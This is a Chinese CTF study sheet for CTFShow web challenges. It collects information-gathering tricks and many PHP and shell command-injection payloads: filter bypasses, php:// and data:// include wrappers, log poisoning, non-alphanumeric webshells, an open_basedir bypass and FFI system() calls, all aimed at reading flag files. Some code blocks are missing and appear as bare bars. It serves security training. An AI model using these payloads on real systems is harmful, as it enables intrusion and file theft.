CTFShow-web入门(1)
0x00 信息搜集
列举常见的信息搜集手法
查看源代码
ctrl+shift+i
查看响应包的headers
查看robots.txt
下载phps源码
下载目录源码,如:www.zip
查看.git或.svn文件
vim编辑时会产生一个filename.swp的文件,例如:index.php.swp
查看cookie
查看域名信息,可通过https://zijian.aliyun.com/等
查看网页公开信息,比如电话号、QQ、邮箱
查看公开技术文档
小0day:KindEditor PHP默认配置下插入文件,如果目录不存在,则会遍历服务器根目录
php探针是用来探测空间、服务器运行状况和PHP信息用的,探针可以实时查看服务器硬盘资源、内存占用、网卡 流量、系统负载、服务器时间等信息。 url后缀名添加/tz.php 版本是雅黑PHP探针
数据库备份文件,如:backup.sql和/db/db.mdb
查看加密算法及密钥
0x01 爆破
Custom iterator爆破,参考https://www.cnblogs.com/007NBqaq/p/13220297.html
子域名爆破
根据php算法爆破token
php伪随机数,种子预测随机数和随机数预测种子。https://blog.csdn.net/zss192/article/details/104327432
爆破身份证
爆破文件目录,如/0/1/
0x02 命令执行
通配符?
和*
引号拼接,如:fl''ag.php
,fl""ag.php
\拼接,如:fla\g.php
可执行并直接显示结果的函数:system
、passthru
需要echo显示结果的函数:反引号`
、exec
、shell_exec
https://chybeta.github.io/2017/08/08/php%E4%BB%A3%E7%A0%81-%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/
cat被过滤时,常见读文件命令
curl命令读文件
strings:查找可打印的字符串
rev:反转查看内容
more/less:一页一页的显示内容
head:查看头几行 tail:查看尾几行
tac:从最后一行开始显示
nl:显示的时候,顺便输出行号
sort:将文本文件内容加以排序
uniq:检查文本文件中重复出现的行列
vi/vim:编辑器查看
grep:查找文件里符合条件的字符串
awk:处理文本文件
NF 每一行拥有的字段总数
NR 目前处理的是第几行的数据
FS 目前的分隔字符
awk '条件{命令}' 文件
常用payload:awk 'NR<10{print $1"\t"$2"\t"$3}' flag
把flag文件中的前10行的第1、2、3列的数据列出来 (以[tab]或空格键分隔)
sed:处理文本文件
sed '命令' 文件
常用payload:sed '1,10d' flag
查看flag文件1~10行的内容
bash -v:打印整个文件后执行
file -f:指定名称文件,其内容有一个或多个文件名称时,让file依序辨识这些文件,格式为每列一个文件名称。
od:以二进制的方式读取内容
-A 指定地址进制包括:
o 八进制(系统默认值)
d 十进制
x 十六进制
n 不打印位移值
-t 指定数据的显示格式,主要参数有:
c ASCII字符或反斜杠序列(如\n)
d 有符号十进制数
f 浮点数
o 八进制(系统默认值)
u 无符号十进制数
x 十六进制数
cut:用于显示每行从开头算起 num1 到 num2 的文字
-b :以字节为单位进行分割。这些字节位置将忽略多字节字符边界,除非也指定了 -n 标志。
-c :以字符为单位进行分割。
花式读文件:https://www.cnblogs.com/linuxsec/articles/10741588.html
php函数操作:
scandir('.') 扫描当前目录
localeconv() 函数返回一数组。而数组第一项就是.(用来绕过.过滤)
pos()/current() 返回数组第一个值
数组操作函数:
end() 数组指针指向最后一位
next() 数组指针指向下一位
array_reverse() 将数组颠倒
array_rand() 随机返回数组的键名
array_flip() 交换数组的键和值
读取文件函数:file_get_content()
、readfile()
、highlight_file()
、show_source()
、var_dump(file('filename'))
、print_r(file('filename'))
一些情况下也可通过include
、require
、include_once
、require_once
读取文件内容。
过滤分号时可以使用?>
替代;
过滤括号时可以使用include
和伪协议的配合
因为include包含php文件不会在页面显示出来
所以可以配合伪协议将flag.php打印,而且新的参数不会受过滤影响
常用payload:
c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET['a']?>&a=data://text/plain,<?php system("cat flag.php");?>
c=include$_GET[a]?>&a=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
日志包含获取Shell,如果访问一个不存在的资源时,如http://www.xxxx.com/,则会记录在日志中,但是代码中的敏感字符会被浏览器转码,可以通过burpsuit绕过编码写入apache的日志文件,前提是得知道日志文件的存储路径。
日志默认路径
(1) apache+Linux日志默认路径
/etc/httpd/logs/access.log或者/var/log/httpd/access.log
n
(2) apache+win2003日志默认路径
D:\xampp\apache\logs\access.log或者D:\xampp\apache\logs\error.log
(3) IIS6.0+win2003默认日志文件
C:\WINDOWS\system32\Logfiles
(4) IIS7.0+win2003 默认日志文件
%SystemDrive%\inetpub\logs\LogFiles
(5) nginx 日志文件
日志文件在用户安装目录logs目录下,如/usr/local/nginx,日志目录为/usr/local/nginx/logs
通过.php
后缀限制include
时,使用data://text/plain
, 相当于执行了php语句,因为前面的php语句已经闭合了,所以后面的.php
会被当成html页面直接显示。
无字母数字绕过正则表达式总结脚本:https://blog.csdn.net/miuzzx/article/details/109143413
一些不包含数字和字母的webshell:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
无字母数字webshell之提高篇:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
session_id()
结合PHPSESSID
,受php版本影响 5.5 -7.1.9均可以执行,session_id
规定为0-9,a-z,A-Z,-中的字符。
命令分隔
换行符 %0a
回车符 %0d
连续指令 ;
后台进程 &(编码%26)
管道符 |
(逻辑?) || &&
windows中:%1a(作为.bat文件中的命令分隔符)
空格绕过
>、<、<> //重定向符,通常结合nl等命令使用
%09(需要php环境,tab)
${IFS}
$IFS
$IFS$9
, //用逗号实现了空格功能
%20
过滤字母时可用payload:c=/???/????64 ????.???
读取flag.php,bin目录为binary的简写,主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等,这里可以利用 base64 中的64 进行通配符匹配,即/bin/base64 flag.php。
另一种payload:c=/???/???/????2 ????.???
,可通过/usr/bin目录,常包括例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等,可以利用/usr/bin下的bzip2将flag.php文件进行压缩,然后再下载。
构造数字,$(( ))
与整数运算
$(())---------是0
$((~$(())))---是-1
$((~$(())))$((~$(())))---是-1-1
$(($((~$(())))$((~$(())))))---是-2
同时$((~-a))=a-1,如:$((~-5))=4
$((~a))=-a-1,如:$((~5))=-6
通过fopen去读取文件内容
fread()
fgets()
fgetc()
fgetss()//This function has been DEPRECATED as of PHP 7.3.0, and REMOVED as of PHP 8.0.0
fgetcsv()
fpassthru()
对应payload:
c=$a=fopen(“flag.php”,“r”);while (!feof($a)) {$line = fread($a,filesize(“flag.php”));echo $line;}
c=$a=fopen(“flag.php”,“r”);while (!feof($a)) {$line = fgets($a);echo $line;}//一行一行读取
c=$a=fopen(“flag.php”,“r”);while (!feof($a)) {$line = fgetc($a);echo $line;}//一个一个字符读取
c=$a=fopen(“flag.php”,“r”);while (!feof($a)) {$line = fgetss($a);echo $line;}
//php7.3.0版本后 该函数已不再被使用
c=$a=fopen(“flag.php”,“r”);while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}
c=$a=fopen(“flag.php”,“r”);while (!feof($a)) {$line = fpassthru($a);echo $line;}
常用获取文件路径的函数组合
c=print_r(scandir(current(localeconv())));
c=print_r(scandir(dirname('__FILE__')));
c=$a=new DirectoryIterator('glob:///var/www/html/*');foreach($a as $f){echo($f->__toString()." ");}
c=$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };
通过copy()
和rename()
,复制文件内容后,访问url/flag.txt,如:copy("flag.php","flag.txt");rename("flag.php","flag.txt");
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
ob_get_contents — 返回输出缓冲区的内容
ob_end_clean — 会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容
通过exit();
使程序提前退出,绕过后面的正则表达式。
如果open_basedir 限制了访问路径,可以先找到文件。
c=?><?php $a=new DirectoryIterator("glob://./*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>
然后使用群主提供的uaf脚本
|
|
利用mysql load_file读文件
c=try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');
foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
exit(0);
PHP7.4-FFI
(PHP 7 >= 7.4.0, PHP 8)
FFI::cdef — Creates a new FFI object
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。
c=$ffi = FFI::cdef("int system(const char *command);");
$a='/flagfile > 1.txt';
$ffi->system($a);
使用bash的内置变量进行绕过,不完全总结
${PATH} /root/bin
${PATH:~0} n
${PATH:~1} in
${PATH:~2} bin
${PATH:~A} n
${PATH:~a} n
${PATH:5:4} /bin
${PWD} /var/www/html
${PWD:~A} l
${PWD::${#SHLVL}} /
SHLVL代表shell打开的深度,进程第一次打开shell时${SHLVL}=1
BASH_SUBSHELL代表一个 Bash 进程实例中多个子 Shell嵌套深度,${BASH_SUBSHELL}=0
HISTFILE设定历史脚本文件的路径文件名,通常是/root/.bash_history
RANDOM取随机数
$?上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。
${#x}为x变量结果的长度,如${#HISTFILE}=19
|
|
参考https://www.cnblogs.com/sparkdev/p/9934595.html、https://www.cnblogs.com/zengkefu/p/5558161.html
利用<A
的报错,No such file or directory,能返回值1。
|
|
常用数学函数https://www.w3school.com.cn/php/php_ref_math.asp
|
|
[]
可用{}
代替。
构造过程
|
|
另一种方法,配合getallheaders
函数,通过php头构造命令。
echo base_convert('getallheaders',30,10);
//得到8768397090111664438,这里不使用36进制是因为精度会丢失,尝试到30的时候成功
c=$pi=base_convert,$pi(1751504350,10,36)($pi(8768397090111664438,10,30)(){1})
PHPHeader 1-----tac flag.php